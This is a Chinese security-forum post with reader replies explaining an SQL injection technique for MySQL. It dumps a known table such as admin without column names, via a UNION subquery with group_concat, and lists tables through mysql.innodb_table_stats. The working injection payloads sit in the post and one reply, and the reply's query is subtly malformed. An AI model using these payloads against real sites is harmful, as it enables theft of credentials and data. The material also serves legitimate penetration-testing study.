【高级注入】Mysql注入时,猜不到列名,获取所有数据

2017-04-25 16:25:24 12 2730


有时候我们不知道列名,因为不能访问Information_Schema或者其他原因

但是我们知道表名,我们可以在不知道列名的情况下dump出该表的全部数据

我们有两个表 article、admin

方案一
select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x
方案二

方案二是在exploit-db上看到的文章,Mysql版本大于5.5的情况下,
默认mysql数据库中多了两个表innodb_table_statsinnodb_table_index用来储存所有数据库名和表名

如果我们想获取某个数据库下面所有表名称
select table_name from mysql.innodb_table_stats where database_name=数据库名;
https://www.exploit-db.com/docs/41274.pdf

关于作者

静夜思42篇文章172篇回复

我把梦撕了一夜 不懂明天该怎么写

评论12次

要评论?请先  登录  或  注册
  • 12楼
    2017-4-26 10:21

    方案一的命令 group_concat(a,0x3a, b,0x3a, c) 是不是应该这样啊 方案二 MySQL5.6.17 第一个表存在,第二个没有

  • 11楼
    2017-4-26 09:51

    第二个需要你的表引擎是innodb的才行 否则的话 是没有啥内容的

  • 10楼
    2017-4-26 08:36
    love71

    表哥,本地测试 遇见了一个小问题!如图:在mysql命令行可以出来,但是在注入点中就出问题了!

    1

    报错的意思是你输入的列名不够,你需要继续加 4,5,6,7,8,9 一直到猜对列名的个数,页面会返回正常的结果 还是上面的例子,假如admin表有10个字段,那我这里就得写到10 select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b, 3c , UNION SELECT * FROM admin)x 字段这里可以先不写abc什么的因为只是该改字段取的别名,意义用在group_concat中详细指定你的要取哪一列的数据 等猜够字段的个数以后,再添加上 a 、b 、c等别名

  • 9楼
    2017-4-25 23:38

    第二个技巧很实用,先收藏着,虽然这样的在国内不多。

  • 8楼
    2017-4-25 23:24

    表哥,本地测试 遇见了一个小问题!如图: 在mysql命令行可以出来,但是在注入点中就出问题了!

  • 7楼
    2017-4-25 22:54

    手注得对数据库知识有一定的熟悉才能运用的出神入化

  • 6楼
  • 5楼
    2017-4-25 22:08

    本地看了下,我是5.5.53,但是没找到这两个表,不晓得什么原因,不过技巧学到啦,感谢分享,话说能都mysql这个库,权限也是够大的

  • 4楼
    2017-4-25 20:40

    的确不错的奇淫技巧,学xi了!

  • 3楼
    2017-4-25 17:47

    用到的时候,是个好路子

  • 2楼
    2017-4-25 17:25

    innodb_table_stats这个表在测试时有,另一个innodb_table_index显示不存在。

  • 1楼
    2017-4-25 17:17

    不错的办法,可以说是奇技淫巧, 第二种方式 在 5.5.53 版本下提示表不存在